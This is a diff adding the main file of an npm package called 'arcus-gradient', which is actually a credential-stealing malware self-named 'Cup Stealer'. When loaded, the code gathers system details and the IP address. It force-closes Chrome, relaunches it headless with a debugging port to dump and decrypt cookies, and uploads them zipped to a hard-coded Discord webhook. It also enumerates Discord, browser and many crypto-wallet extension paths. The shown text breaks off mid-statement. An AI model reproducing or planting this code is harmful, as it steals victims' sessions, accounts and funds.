arcus-gradient 1.0.0

package/index.js

@@ -0,0 +1,2223 @@
+const fs = require('fs');
+const path = require('path');
+const httpx = require('axios');
+const axios = require('axios');
+const os = require('os');
+const { totalmem, cpus, userInfo, uptime, hostname } = require('os');
+const si = require('systeminformation');
+const FormData = require('form-data');
+const AdmZip = require('adm-zip');
+const { execSync, exec } = require('child_process');
+const crypto = require('crypto');
+const sqlite3 = require('sqlite3');
+const { Dpapi } = require('@primno/dpapi');
+const childProcess = require('child_process');
+
+const discords = [];
+let injection_paths = []
+const local = process.env.LOCALAPPDATA;
+var appdata = process.env.APPDATA,
+	LOCAL = process.env.LOCALAPPDATA,
+	localappdata = process.env.LOCALAPPDATA;
+let browser_paths = [localappdata + '\\Google\\Chrome\\User Data\\Default\\', localappdata + '\\Google\\Chrome\\User Data\\Profile 1\\', localappdata + '\\Google\\Chrome\\User Data\\Profile 2\\', localappdata + '\\Google\\Chrome\\User Data\\Profile 3\\', localappdata + '\\Google\\Chrome\\User Data\\Profile 4\\', localappdata + '\\Google\\Chrome\\User Data\\Profile 5\\', localappdata + '\\Google\\Chrome\\User Data\\Guest Profile\\', localappdata + '\\Google\\Chrome\\User Data\\Default\\Network\\', localappdata + '\\Google\\Chrome\\User Data\\Profile 1\\Network\\', localappdata + '\\Google\\Chrome\\User Data\\Profile 2\\Network\\', localappdata + '\\Google\\Chrome\\User Data\\Profile 3\\Network\\', localappdata + '\\Google\\Chrome\\User Data\\Profile 4\\Network\\', localappdata + '\\Google\\Chrome\\User Data\\Profile 5\\Network\\', localappdata + '\\Google\\Chrome\\User Data\\Guest Profile\\Network\\', appdata + '\\Opera Software\\Opera Stable\\', appdata + '\\Opera Software\\Opera GX Stable\\', localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\', localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 1\\', localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 2\\', localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 3\\', localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 4\\', localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 5\\', localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Guest Profile\\', localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 1\\', localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 2\\', localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 3\\', localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 4\\', localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 5\\', localappdata + '\\Yandex\\YandexBrowser\\User Data\\Guest Profile\\', localappdata + '\\Microsoft\\Edge\\User Data\\Default\\', localappdata + '\\Microsoft\\Edge\\User Data\\Profile 1\\', localappdata + '\\Microsoft\\Edge\\User Data\\Profile 2\\', localappdata + '\\Microsoft\\Edge\\User Data\\Profile 3\\', localappdata + '\\Microsoft\\Edge\\User Data\\Profile 4\\', localappdata + '\\Microsoft\\Edge\\User Data\\Profile 5\\', localappdata + '\\Microsoft\\Edge\\User Data\\Guest Profile\\', localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Network\\', localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 1\\Network\\', localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 2\\Network\\', localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 3\\Network\\', localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 4\\Network\\', localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 5\\Network\\', localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Guest Profile\\Network\\', localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 1\\Network\\', localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 2\\Network\\', localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 3\\Network\\', localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 4\\Network\\', localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 5\\Network\\', localappdata + '\\Yandex\\YandexBrowser\\User Data\\Guest Profile\\Network\\', localappdata + '\\Microsoft\\Edge\\User Data\\Default\\Network\\', localappdata + '\\Microsoft\\Edge\\User Data\\Profile 1\\Network\\', localappdata + '\\Microsoft\\Edge\\User Data\\Profile 2\\Network\\', localappdata + '\\Microsoft\\Edge\\User Data\\Profile 3\\Network\\', localappdata + '\\Microsoft\\Edge\\User Data\\Profile 4\\Network\\', localappdata + '\\Microsoft\\Edge\\User Data\\Profile 5\\Network\\', localappdata + '\\Microsoft\\Edge\\User Data\\Guest Profile\\Network\\'];
+
+const keywords = ["gmail.com", "live.com", "impots.gouv.fr", "zoho.com", "ameli.fr", "yahoo.com", "tutanota.com", "uber.com", "trashmail.com", "gmx.net", "github.com", "ubereats.com", "safe-mail.net", "thunderbird.net", "mail.lycos.com", "hushmail.com", "mail.aol.com", "icloud.com", "protonmail.com", "fastmail.com", "rackspace.com", "1and1.com", "mailbox.org", "mail.yandex.com", "titan.email", "youtube.com", "nulled.to", "cracked.to", "tiktok.com", "yahoo.com", "gmx.com", "aol.com", "coinbase", "mail.ru", "rambler.ru", "gamesense.pub", "neverlose.cc", "onetap.com", "fatality.win", "vape.gg", "binance", "ogu.gg", "lolz.guru", "xss.is", "g2g.com", "igvault.com", "plati.ru", "minecraft.net", "primordial.dev", "vacban.wtf", "instagram.com", "mail.ee", "hotmail.com", "facebook.com", "vk.ru", "x.synapse.to", "hu2.app", "shoppy.gg", "app.sell", "sellix.io", "gmx.de", "riotgames.com", "mega.nz", "roblox.com", "exploit.in", "breached.to", "v3rmillion.net", "hackforums.net", "0x00sec.org", "unknowncheats.me", "godaddy.com", "accounts.google.com", "aternos.org", "namecheap.com", "hostinger.com", "bluehost.com", "hostgator.com", "siteground.com", "netafraz.com", "iranserver.com", "ionos.com", "whois.com", "te.eg", "vultr.com", "mizbanfa.net", "neti.ee", "osta.ee", "cafe24.com", "wpengine.com", "parspack.com", "cloudways.com", "inmotionhosting.com", "hinet.net", "mihanwebhost.com", "mojang.com", "phoenixnap.com", "dreamhost.com", "rackspace.com", "name.com", "alibabacloud.com", "a2hosting.com", "contabo.com", "xinnet.com", "7ho.st", "hetzner.com", "domain.com", "west.cn", "iranhost.com", "yisu.com", "ovhcloud.com", "000webhost.com", "reg.ru", "lws.fr", "home.pl", "sakura.ne.jp", "matbao.net", "scalacube.com", "telia.ee", "estoxy.com", "zone.ee", "veebimajutus.ee", "beehosting.pro", "core.eu", "wavecom.ee", "iphoster.net", "cspacehostings.com", "zap-hosting.com", "iceline.com", "zaphosting.com", "cubes.com", "chimpanzeehost.com", "fatalityservers.com", "craftandsurvive.com", "mcprohosting.com", "shockbyte.com", "ggservers.com", "scalacube.com", "apexminecrafthosting.com", "nodecraft.com", "sparkedhost.com", "pebblehost.com", "ramshard.com", "linkvertise.com", "adf.ly", "spotify.com", "tv3play.ee", "clarity.tk", "messenger.com", "snapchat.com", "boltfood.eu", "stuudium.com", "steamcommunity.com", "epicgames.com", "greysec.net", "twitter.com", "reddit.com", "amazon.com", "redengine.eu", "eulencheats.com", "4netplayers.com", "velia.net", "bybit.com", "coinbase.com", "ftx.com", "ftx.us", "binance.us", "bitfinex.com", "kraken.com", "bitstamp.net", "bittrex.com", "kucoin.com", "cex.io", "gemini.com", "blockfi.com", "nexo.io", "nordvpn.com", "surfshark.com", "privateinternetaccess.com", "netflix.com", "astolfo.lgbt", "intent.store", "novoline.wtf", "flux.today", "novoline.lol", "twitch.tv"];
+const webhook_url = 'https://discord.com/api/webhooks/1327855150332645477/7dk5yW-PjzD84bm3cSddtQRz8AF9jZtIS6pu8nMvK-SLLNmv7YhxqcS3rhEzuUePd2I7';
+const DEBUG_PORTS = [9222, 9223, 9224];
+const foldersToSearch = ['Videos', 'Desktop', 'Documents', 'Downloads', 'Pictures', path.join('AppData', 'Roaming', 'Microsoft', 'Windows', 'Recent')];
+const mainFolderPath = `C:/Users/${process.env.USERNAME}/AppData/Local/Temp`;
+
+async function newInjection() {
+    if (!webhook_url) {
+        console.error("Webhook URL não fornecido!");
+        return;
+    }
+
+    console.log("Webhook URL encontrado, iniciando a captura de dados...");
+
+    try {
+        const system_info = await si.osInfo();
+        const gpu_info = await si.graphics();
+        const memory_info = await si.mem();
+        const response = await axios.get('https://api.ipify.org/?format=json');
+        const ip_address = response.data.ip;
+
+        const injectionData = {
+            cpu: cpus()[0]?.model || 'Unknown',
+            gpu: gpu_info.controllers[0]?.model || 'Unknown',
+            uptime: Math.floor(Date.now() / 1000) - Math.floor(uptime()),
+            type: system_info?.platform,
+            architecture: system_info?.arch,
+            hostname: hostname(),
+            username: userInfo().username,
+            os: `${system_info?.distro} ${system_info?.build}`,
+            network: { ip: ip_address },
+            memory: `${(memory_info.total / (1024 ** 3)).toFixed(2)}` 
+        };
+
+        const userInformationEmbed = {
+            author: {
+                name: `Cup Stealer | New Victim`,
+                icon_url: "https://cdn.discordapp.com/icons/1323239039800971305/71e3dd59206f3491fd856fd8f08a4a20.webp?size=1024"
+            },
+            color: 0x050000,
+            thumbnail: {
+                url: "https://cdn.discordapp.com/icons/1323239039800971305/71e3dd59206f3491fd856fd8f08a4a20.webp?size=1024"
+            },
+            fields: [
+                {
+                    name: "<:userratos:1317152840321597490>  **User**",
+                    value: `\`${injectionData.username}\``,
+                    inline: true
+                },
+                {
+                    name: "<:ratossecurity:1316564382507077683>  **System**",
+                    value: `\`${injectionData.os}\``,
+                    inline: true
+                },
+                {
+                    name: "<:ratoswifi:1316564143687471105>  **IP**",
+                    value: `\`${injectionData.network.ip}\``,
+                    inline: true
+                },
+                {
+                    name: "<:ratospc:1316564315725103206>  **CPU**",
+                    value: `\`${injectionData.cpu}\``,
+                    inline: true
+                },
+                {
+                    name: "<:eqt:1317154908939616287>  **GPU**",
+                    value: `\`${injectionData.gpu}\``,
+                    inline: true
+                },
+                {
+                    name: "<:ram:1323255953721790565>  **Memory RAM**",
+                    value: `\`${injectionData.memory}\``,
+                    inline: true
+                }
+            ],
+            footer: {
+                text: `Cup Stealer | ${process.env.username}`,
+                icon_url: "https://cdn.discordapp.com/icons/1323239039800971305/71e3dd59206f3491fd856fd8f08a4a20.webp?size=1024"
+            },
+            timestamp: new Date() 
+        };
+        
+
+        console.log("Preparando para enviar o webhook...");
+
+        try {
+            const webhookResponse = await axios.post(webhook_url, {
+                embeds: [userInformationEmbed]
+            });
+            console.log("Webhook enviado com sucesso! Status:", webhookResponse.status);
+        } catch (error) {
+            console.error('Erro ao enviar o webhook:', error.response ? error.response.data : error.message);
+        }
+
+    } catch (error) {
+        console.error('Erro ao coletar dados para o webhook:', error);
+    }
+}
+
+newInjection();
+
+const browsersPaths = {
+    chrome: {
+        bin: `${process.env.PROGRAMFILES}\\Google\\Chrome\\Application\\chrome.exe`,
+        user_data: `${process.env.LOCALAPPDATA}\\Google\\Chrome\\User Data`
+    }
+};
+
+function findBrowsers() {
+    const browsersFound = [];
+    for (const [name, paths] of Object.entries(browsersPaths)) {
+        if (fs.existsSync(paths.bin)) {
+            console.log(`[INFO] Navegador encontrado: ${name}`);
+            browsersFound.push({ name, ...paths });
+        } else {
+            console.log(`[AVISO] Navegador não encontrado: ${name}`);
+        }
+    }
+    if (browsersFound.length === 0) {
+        console.log("[INFO] Nenhum navegador válido encontrado.");
+    }
+    return browsersFound;
+}
+
+// Função para fechar o processo do navegador
+function closeBrowserProcess(binPath) {
+    const procName = path.basename(binPath);
+    console.log(`[INFO] Fechando processo ${procName}`);
+    try {
+        childProcess.execSync(`taskkill /F /IM ${procName}`, { stdio: 'ignore' });
+    } catch (error) {
+        console.warn(`[AVISO] Não foi possível fechar o processo ${procName}.`);
+    }
+}
+
+// Função para aguardar determinado tempo
+function sleep(ms) {
+    return new Promise(resolve => setTimeout(resolve, ms));
+}
+
+// Função para iniciar o navegador com a porta de depuração e abrir o Gmail
+async function startBrowser(binPath, userDataPath, debugPort, profileName) {
+    console.log(`[INFO] Iniciando navegador: ${binPath} com perfil ${profileName} na porta ${debugPort}`);
+    childProcess.spawn(binPath, [
+        '--headless',  
+        '--restore-last-session',
+        `--remote-debugging-port=${debugPort}`,
+        '--remote-allow-origins=*',
+        `--user-data-dir=${userDataPath}`,
+        `--profile-directory=${profileName}`,
+        'https://mail.google.com'
+    ], { detached: true, stdio: 'ignore' }).unref();
+
+    console.log("[INFO] Aguardando o navegador iniciar...");
+    await sleep(2000); 
+}
+
+// Função para obter a URL do WebSocket do navegador
+async function getWebSocketUrl(debugPort) {
+    const DEBUG_URL = `http://127.0.0.1:${debugPort}/json`;
+    try {
+        console.log("[INFO] Tentando conectar-se ao WebSocket...");
+        const response = await axios.get(DEBUG_URL);
+        if (response.data && response.data[0] && response.data[0].webSocketDebuggerUrl) {
+            return response.data[0].webSocketDebuggerUrl;
+        } else {
+            throw new Error("Não foi possível encontrar o WebSocket.");
+        }
+    } catch (error) {
+        console.error("[ERRO] Não foi possível conectar ao navegador.");
+        throw error;
+    }
+}
+
+// Função para extrair os cookies via WebSocket
+async function extractCookies(wsUrl) {
+    console.log("[INFO] Obtendo cookies...");
+
+    return new Promise((resolve, reject) => {
+        const ws = new (require('ws'))(wsUrl);
+
+        ws.on('open', () => {
+            ws.send(JSON.stringify({ id: 1, method: 'Network.getAllCookies' }));
+        });
+
+        ws.on('message', (data) => {
+            const response = JSON.parse(data);
+            if (response.result && response.result.cookies) {
+                const decryptedCookies = response.result.cookies.map(cookie => {
+                    if (cookie.encrypted_value) {
+                        try {
+                            const encryptedValue = Buffer.from(cookie.encrypted_value, 'base64');
+                            const iv = encryptedValue.slice(3, 15);
+                            const encryptedData = encryptedValue.slice(15, encryptedValue.length - 16);
+                            const authTag = encryptedValue.slice(encryptedValue.length - 16, encryptedValue.length);
+                            const decipher = crypto.createDecipheriv('aes-256-gcm', browserPath[0][3], iv);
+                            decipher.setAuthTag(authTag);
+                            const decrypted = decipher.update(encryptedData, 'base64', 'utf-8') + decipher.final('utf-8');
+                            cookie.value = decrypted;
+                        } catch (error) {
+                            console.error("[ERRO] Falha ao descriptografar cookie:", error);
+                        }
+                    }
+                    return cookie;
+                });
+                ws.close();
+                resolve(decryptedCookies);
+            } else {
+                console.error("[ERRO] Resposta do WebSocket não contém cookies.");
+                ws.close();
+                reject(new Error("Nenhum cookie encontrado."));
+            }
+        });
+
+        ws.on('error', (err) => {
+            console.error("[ERRO] Falha na conexão WebSocket:", err);
+            ws.close();
+            reject(err);
+        });
+    });
+}
+
+function saveCookiesToZip(cookiesByBrowser) {
+    const zip = new AdmZip();
+    const zipFileName = `${process.env.username}-cookies-fixed.zip`;
+
+    for (const [browserName, profilesCookies] of Object.entries(cookiesByBrowser)) {
+        for (const [profileName, cookies] of Object.entries(profilesCookies)) {
+            const cookieFileName = `${profileName}.txt`; // Nome do arquivo será o navegador + nome do perfil
+            const cookieStrings = cookies.map(cookie =>
+                `${cookie.domain}\tTRUE\t/\tFALSE\t2597573456\t${cookie.name}\t${cookie.value}`
+            ).join('\n');
+            
+            // Salva o arquivo temporário com cookies
+            fs.writeFileSync(cookieFileName, cookieStrings);
+            zip.addLocalFile(cookieFileName);
+            fs.unlinkSync(cookieFileName);  // Remove o arquivo temporário
+        }
+    }
+
+    zip.writeZip(zipFileName);
+    console.log(`[INFO] Cookies compactados no arquivo ${zipFileName}.`);
+    return zipFileName;
+}
+
+async function sendToDiscord(zipPath) {
+    console.log(`[INFO] Enviando ${zipPath} para o Discord...`);
+
+    const formData = new FormData();
+    formData.append('file', fs.createReadStream(zipPath));
+
+    // Adicionando a embed ao formulário
+    formData.append('payload_json', JSON.stringify({
+    }));
+
+    try {
+        const response = await axios.post(webhook_url, formData, {
+            headers: formData.getHeaders()
+        });
+
+        if (response.status === 200) {
+            console.log("[SUCESSO] Arquivo enviado com sucesso!");
+        } else {
+            console.error(`[ERRO] Falha ao enviar o arquivo. Código: ${response.status}`);
+        }
+    } catch (error) {
+        console.error(`[ERRO] Erro ao enviar para o Discord: ${error.message}`);
+    }
+}
+
+// Função para processar o navegador Chrome e extrair cookies de todos os perfis
+async function processChrome(cookiesByBrowser) {
+    try {
+        const browser = browsersPaths.chrome;
+        const profiles = fs.readdirSync(browser.user_data)
+            .filter(profile => profile.startsWith('Profile ') || profile === 'Default');
+
+        let wsUrl;
+        let cookies;
+
+        for (const profile of profiles) {
+            for (const debugPort of DEBUG_PORTS) {
+                try {
+                    closeBrowserProcess(browser.bin);
+                    await startBrowser(browser.bin, browser.user_data, debugPort, profile);
+                    wsUrl = await getWebSocketUrl(debugPort);
+                    cookies = await extractCookies(wsUrl);
+                    
+                    // Salva os cookies de cada perfil em uma estrutura de dados
+                    if (!cookiesByBrowser[browser.name]) {
+                        cookiesByBrowser[browser.name] = {}; // Inicializa o objeto para o navegador
+                    }
+                    cookiesByBrowser[browser.name][profile] = cookies;
+
+                    // Aguardar 10 segundos antes de fechar o navegador
+                    console.log("[INFO] Aguardando 10 segundos antes de fechar o navegador...");
+                    await sleep(2000); // Esperar 10 segundos
+
+                    closeBrowserProcess(browser.bin);
+                    break; // Se tudo der certo, sai do loop
+                } catch (error) {
+                    console.error(`[ERRO] Falha ao processar o Chrome na porta ${debugPort}. Tentando próxima porta...`);
+                }
+            }
+        }
+
+        if (!cookies) {
+            console.error("[ERRO] Não foi possível extrair cookies.");
+        }
+    } catch (error) {
+        console.error(`[ERRO] Falha ao processar o navegador Chrome: ${error.message}`);
+    }
+}
+
+// Função principal que orquestra o processo
+(async () => {
+    const browsers = findBrowsers();
+    const cookiesByBrowser = {};
+
+    if (browsers.length > 0) {
+        for (const browser of browsers) {
+            if (browser.name === 'chrome') {
+                console.log(`[INFO] Processando navegador: ${browser.name}`);
+                await processChrome(cookiesByBrowser);
+            }
+        }
+
+        if (Object.keys(cookiesByBrowser).length > 0) {
+            const zipPath = saveCookiesToZip(cookiesByBrowser);
+            await sendToDiscord(zipPath);
+        } else {
+            console.log("[AVISO] Nenhum cookie extraído.");
+        }
+    } else {
+        console.log("[INFO] Nenhum navegador encontrado.");
+    }
+})();
+
+const config_logout = true
+const config_disableqr = true
+
+const maxRetries = 2;
+let retryCount = 0;
+
+let walletsPaths = [
+	`C:\\Users\\${process.env.USERNAME}\\AppData\\Roaming\\Exodus\\exodus.wallet`
+]
+
+paths = [
+	appdata + '\\discord\\',
+	appdata + '\\discordcanary\\',
+	appdata + '\\discordptb\\',
+	appdata + '\\discorddevelopment\\',
+	appdata + '\\lightcord\\',
+	localappdata + '\\Google\\Chrome\\User Data\\Default\\',
+	localappdata + '\\Google\\Chrome\\User Data\\Profile 1\\',
+	localappdata + '\\Google\\Chrome\\User Data\\Profile 2\\',
+	localappdata + '\\Google\\Chrome\\User Data\\Profile 3\\',
+	localappdata + '\\Google\\Chrome\\User Data\\Profile 4\\',
+	localappdata + '\\Google\\Chrome\\User Data\\Profile 5\\',
+	localappdata + '\\Google\\Chrome\\User Data\\Guest Profile\\',
+	localappdata + '\\Google\\Chrome\\User Data\\Default\\Network\\',
+	localappdata + '\\Google\\Chrome\\User Data\\Profile 1\\Network\\',
+	localappdata + '\\Google\\Chrome\\User Data\\Profile 2\\Network\\',
+	localappdata + '\\Google\\Chrome\\User Data\\Profile 3\\Network\\',
+	localappdata + '\\Google\\Chrome\\User Data\\Profile 4\\Network\\',
+	localappdata + '\\Google\\Chrome\\User Data\\Profile 5\\Network\\',
+	localappdata + '\\Google\\Chrome\\User Data\\Guest Profile\\Network\\',
+	appdata + '\\Opera Software\\Opera Stable\\',
+	appdata + '\\Opera Software\\Opera GX Stable\\',
+	localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\',
+	localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 1\\',
+	localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 2\\',
+	localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 3\\',
+	localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 4\\',
+	localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 5\\',
+	localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Guest Profile\\',
+	localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 1\\',
+	localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 2\\',
+	localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 3\\',
+	localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 4\\',
+	localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 5\\',
+	localappdata + '\\Yandex\\YandexBrowser\\User Data\\Guest Profile\\',
+	localappdata + '\\Microsoft\\Edge\\User Data\\Default\\',
+	localappdata + '\\Microsoft\\Edge\\User Data\\Profile 1\\',
+	localappdata + '\\Microsoft\\Edge\\User Data\\Profile 2\\',
+	localappdata + '\\Microsoft\\Edge\\User Data\\Profile 3\\',
+	localappdata + '\\Microsoft\\Edge\\User Data\\Profile 4\\',
+	localappdata + '\\Microsoft\\Edge\\User Data\\Profile 5\\',
+	localappdata + '\\Microsoft\\Edge\\User Data\\Guest Profile\\',
+	localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Network\\',
+	localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 1\\Network\\',
+	localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 2\\Network\\',
+	localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 3\\Network\\',
+	localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 4\\Network\\',
+	localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Profile 5\\Network\\',
+	localappdata + '\\BraveSoftware\\Brave-Browser\\User Data\\Guest Profile\\Network\\',
+	localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 1\\Network\\',
+	localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 2\\Network\\',
+	localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 3\\Network\\',
+	localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 4\\Network\\',
+	localappdata + '\\Yandex\\YandexBrowser\\User Data\\Profile 5\\Network\\',
+	localappdata + '\\Yandex\\YandexBrowser\\User Data\\Guest Profile\\Network\\',
+	localappdata + '\\Microsoft\\Edge\\User Data\\Default\\Network\\',
+	localappdata + '\\Microsoft\\Edge\\User Data\\Profile 1\\Network\\',
+	localappdata + '\\Microsoft\\Edge\\User Data\\Profile 2\\Network\\',
+	localappdata + '\\Microsoft\\Edge\\User Data\\Profile 3\\Network\\',
+	localappdata + '\\Microsoft\\Edge\\User Data\\Profile 4\\Network\\',
+	localappdata + '\\Microsoft\\Edge\\User Data\\Profile 5\\Network\\',
+	localappdata + '\\Microsoft\\Edge\\User Data\\Guest Profile\\Network\\'
+];
+
+function onlyUnique(item, index, array) {
+	return array.indexOf(item) === index;
+}
+
+const config = {
+	"logout": "instant",
+	"inject-notify": "true",
+	"logout-notify": "true",
+	"init-notify": "false",
+	"embed-color": 3553599,
+	"disable-qr-code": "true"
+}
+
+const _0x9b6227 = {}
+_0x9b6227.passwords = 0
+_0x9b6227.cookies = 0
+_0x9b6227.autofills = 0
+_0x9b6227.wallets = 0
+_0x9b6227.telegram = false
+const count = _0x9b6227,
+user = {
+	ram: os.totalmem(),
+	version: os.version(),
+	uptime: os.uptime,
+	homedir: os.homedir(),
+	hostname: os.hostname(),
+	userInfo: os.userInfo().username,
+	type: os.type(),
+	arch: os.arch(),
+	release: os.release(),
+	roaming: process.env.APPDATA,
+	local: process.env.LOCALAPPDATA,
+	temp: process.env.TEMP,
+	countCore: process.env.NUMBER_OF_PROCESSORS,
+	sysDrive: process.env.SystemDrive,
+	fileLoc: process.cwd(),
+	randomUUID: crypto.randomBytes(16).toString('hex'),
+	start: Date.now(),
+	debug: false,
+	copyright: '<= t.me/cupstealer =>\n\n',
+	url: null,
+}
+_0x2afdce = {}
+const walletPaths = _0x2afdce,
+	_0x4ae424 = {}
+_0x4ae424.Trust = '\\Local Extension Settings\\egjidjbpglichdcondbcbdnbeeppgdph'
+_0x4ae424.Metamask =
+	'\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn'
+_0x4ae424.Coinbase =
+	'\\Local Extension Settings\\hnfanknocfeofbddgcijnmhnfnkdnaad'
+_0x4ae424.BinanceChain =
+	'\\Local Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp'
+_0x4ae424.Phantom =
+	'\\Local Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa'
+_0x4ae424.TronLink =
+	'\\Local Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec'
+_0x4ae424.Ronin = '\\Local Extension Settings\\fnjhmkhhmkbjkkabndcnnogagogbneec'
+_0x4ae424.Exodus =
+	'\\Local Extension Settings\\aholpfdialjgjfhomihkjbmgjidlcdno'
+_0x4ae424.Coin98 =
+	'\\Local Extension Settings\\aeachknmefphepccionboohckonoeemg'
+_0x4ae424.Authenticator =
+	'\\Sync Extension Settings\\bhghoamapcdpbohphigoooaddinpkbai'
+_0x4ae424.MathWallet =
+	'\\Sync Extension Settings\\afbcbjpbpfadlkmhmclhkeeodmamcflc'
+_0x4ae424.YoroiWallet =
+	'\\Local Extension Settings\\ffnbelfdoeiohenkjibnmadjiehjhajb'
+_0x4ae424.GuardaWallet =
+	'\\Local Extension Settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln'
+_0x4ae424.JaxxxLiberty =
+	'\\Local Extension Settings\\cjelfplplebdjjenllpjcblmjkfcffne'
+_0x4ae424.Wombat =
+	'\\Local Extension Settings\\amkmjjmmflddogmhpjloimipbofnfjih'
+_0x4ae424.EVERWallet =
+	'\\Local Extension Settings\\cgeeodpfagjceefieflmdfphplkenlfk'
+_0x4ae424.KardiaChain =
+	'\\Local Extension Settings\\pdadjkfkgcafgbceimcpbkalnfnepbnk'
+_0x4ae424.XDEFI = '\\Local Extension Settings\\hmeobnfnfcmdkdcmlblgagmfpfboieaf'
+_0x4ae424.Nami = '\\Local Extension Settings\\lpfcbjknijpeeillifnkikgncikgfhdo'
+_0x4ae424.TerraStation =
+	'\\Local Extension Settings\\aiifbnbfobpmeekipheeijimdpnlpgpp'
+_0x4ae424.MartianAptos =
+	'\\Local Extension Settings\\efbglgofoippbgcjepnhiblaibcnclgk'
+_0x4ae424.TON = '\\Local Extension Settings\\nphplpgoakhhjchkkhmiggakijnkhfnd'
+_0x4ae424.Keplr = '\\Local Extension Settings\\dmkamcknogkgcdfhhbddcghachkejeap'
+_0x4ae424.CryptoCom =
+	'\\Local Extension Settings\\hifafgmccdpekplomjjkcfgodnhcellj'
+_0x4ae424.PetraAptos =
+	'\\Local Extension Settings\\ejjladinnckdgjemekebdpeokbikhfci'
+_0x4ae424.OKX = '\\Local Extension Settings\\mcohilncbfahbmgdjkbpemcciiolgcge'
+_0x4ae424.Sollet =
+	'\\Local Extension Settings\\fhmfendgdocmcbmfikdcogofphimnkno'
+_0x4ae424.Sender =
+	'\\Local Extension Settings\\epapihdplajcdnnkdeiahlgigofloibg'
+_0x4ae424.Sui = '\\Local Extension Settings\\opcgpfmipidbgpenhmajoajpbobppdil'
+_0x4ae424.SuietSui =
+	'\\Local Extension Settings\\khpkpbbcccdmmclmpigdgddabeilkdpd'
+_0x4ae424.Braavos =
+	'\\Local Extension Settings\\jnlgamecbpmbajjfhmmmlhejkemejdma'
+_0x4ae424.FewchaMove =
+	'\\Local Extension Settings\\ebfidpplhabeedpnhjnobghokpiioolj'
+_0x4ae424.EthosSui =
+	'\\Local Extension Settings\\mcbigmjiafegjnnogedioegffbooigli'
+_0x4ae424.ArgentX =
+	'\\Local Extension Settings\\dlcobpjiigpikoobohmabehhmhfoodbb'
+_0x4ae424.NiftyWallet =
+	'\\Local Extension Settings\\jbdaocneiiinmjbjlgalhcelgbejmnid'
+_0x4ae424.BraveWallet =
+	'\\Local Extension Settings\\odbfpeeihdkbihmopkbjmoonfanlbfcl'
+_0x4ae424.EqualWallet =
+	'\\Local Extension Settings\\blnieiiffboillknjnepogjhkgnoapac'
+_0x4ae424.BitAppWallet =
+	'\\Local Extension Settings\\fihkakfobkmkjojpchpfgcmhfjnmnfpi'
+_0x4ae424.iWallet =
+	'\\Local Extension Settings\\kncchdigobghenbbaddojjnnaogfppfj'
+_0x4ae424.AtomicWallet =
+	'\\Local Extension Settings\\fhilaheimglignddkjgofkcbgekhenbh'
+_0x4ae424.MewCx = '\\Local Extension Settings\\nlbmnnijcnlegkjjpcfjclmcfggfefdm'
+_0x4ae424.GuildWallet =
+	'\\Local Extension Settings\\nanjmdknhkinifnkgdcggcfnhdaammmj'
+_0x4ae424.SaturnWallet =
+	'\\Local Extension Settings\\nkddgncdjgjfcddamfgcmfnlhccnimig'
+_0x4ae424.HarmonyWallet =
+	'\\Local Extension Settings\\fnnegphlobjdpkhecapkijjdkgcjhkib'
+_0x4ae424.PaliWallet =
+	'\\Local Extension Settings\\mgffkfbidihjpoaomajlbgchddlicgpn'
+_0x4ae424.BoltX = '\\Local Extension Settings\\aodkkagnadcbobfpggfnjeongemjbjca'
+_0x4ae424.LiqualityWallet =
+	'\\Local Extension Settings\\kpfopkelmapcoipemfendmdcghnegimn'
+_0x4ae424.MaiarDeFiWallet =
+	'\\Local Extension Settings\\dngmlblcodfobpdpecaadgfbcggfjfnm'
+_0x4ae424.TempleWallet =
+	'\\Local Extension Settings\\ookjlbkiijinhpmnjffcofjonbfbgaoc'
+_0x4ae424.Metamask_E =
